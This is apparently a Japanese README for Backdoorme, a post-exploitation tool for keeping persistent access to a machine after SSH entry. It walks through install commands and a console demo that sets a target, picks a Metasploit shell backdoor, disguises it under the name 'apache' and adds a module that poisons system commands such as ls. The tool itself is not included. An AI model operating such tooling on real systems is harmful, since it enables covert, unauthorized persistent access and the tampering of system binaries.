
強力な自動バックドア化ユーティリティ
Metasploitのようなツールはコンピュータの不正利用に優れていますが、アクセスを取得した後はどうすればよいでしょうか?Backdoormeは、長期にわたって永続性を確立するための一連のバックドアを提供することで、その問いに答えます。
ターゲットとのSSH接続が確立されると、Backdoormeの真価が発揮されます。残念ながら、Backdoormeはrootアクセスを取得するためのツールではありません。一度取得したアクセスを維持するためのものです。
Backdoormeは明示的な許可を得た場合のみ使用してください。無断でハッキングしないでください。
Backdoormeは、バックドアとモジュールの2つの部分に分かれています。
バックドアは、ポートをリッスンしてbashのようなインタプリタにリダイレクトする小さなコードスニペットです。多様性を持たせるために、さまざまな言語で記述された多くのバックドアがあります。
モジュールは、バックドアをより強力にします。たとえば、数分ごとやコンピュータ起動時など、より頻繁に実行することで、永続性の確立を支援します。
デモンストレーション:
Backdoormeを開始するには、まず必要な依存関係が揃っていることを確認してください。
For Python 3.5+:
$ sudo apt-get install python3 python3-pip python3-tk nmap
$ cd backdoorme/
$ virtualenv --python=python3.5 env
$ source env/bin/activate
(env) $ pip install -r requirements.txt
For Python 2.7:
$ sudo python dependencies.py
Backdoormeの起動:
$ python master.py
ターゲットの追加:
>> addtarget
Target Hostname: 10.1.0.2
Username: victim
Password: password123
+ Target 1 Set!
>>
バックドアを使用するには、"use"キーワードを実行するだけです。
>> use shell/metasploit
+ Using current target 1.
+ Using Metasploit backdoor...
(msf) >>
そこから、バックドアに関連するオプションを設定できます。"show options"または"help"を実行すると、設定可能なパラメータの一覧が表示されます。オプションを設定するには、"set"キーワードを使用します。
(msf) >> show options
Backdoor options:
Option Value Description Required
------ ----- ----------- --------
name initd name of the backdoor False
...
(msf) >> set name apache
+ name => apache
(msf) >> show options
Backdoor options:
Option Value Description Required
------ ----- ----------- --------
name apache name of the backdoor False
...
Metasploitと同様に、バックドアはカテゴリごとに整理されています。
すべてのバックドアには、バックドアをより強力にするために追加のモジュールを適用できます。モジュールを追加するには、"add"キーワードを使用します。
(msf) >> add poison
+ Poison module added
各モジュールにはカスタマイズ可能な追加パラメータがあり、"help"を再実行すると追加オプションを表示または設定できます。
(msf) >> help
...
Poison module options:
Option Value Description Required
------ ----- ----------- --------
name ls name of command to poison False
location /bin where to put poisoned files into False
現在有効なモジュールは以下の通りです。
Backdoormeは複数の異なるターゲットを同時にサポートし、入力時に番号で整理されます。コアは1つの「現在の」ターゲットを維持し、新しいバックドアはデフォルトでそれを使用します。手動でターゲットを切り替えるには、コマンドの後にターゲット番号を追加します。"use metasploit 2"を実行すると、2番目のターゲットに対してmetasploitバックドアが準備されます。"list"を実行すると、現在のターゲットの一覧、接続の状態(開いているか閉じているか)、および利用可能なバックドアとモジュールを確認できます。
Backdoormeはまだ初期段階です!プロジェクトへのコントリビューションをお気軽に行ってください。リポジトリをフォークし、変更を加えてプルリクエストを送信するだけです。強力なバックドアのアイデアや、改善できる点があれば、Issueを作成してください。できるだけ早く追加します!質問がある場合は、[email protected]までメールをお送りください。
独自のバックドアを追加したい場合は、backdoorme/backdoors/template.pyファイルに記載されている指示に従ってください。
独自のモジュールを追加したい場合は、backdoorme/modules/template.pyファイルに記載されている指示に従ってください。
開発者向けチートシート: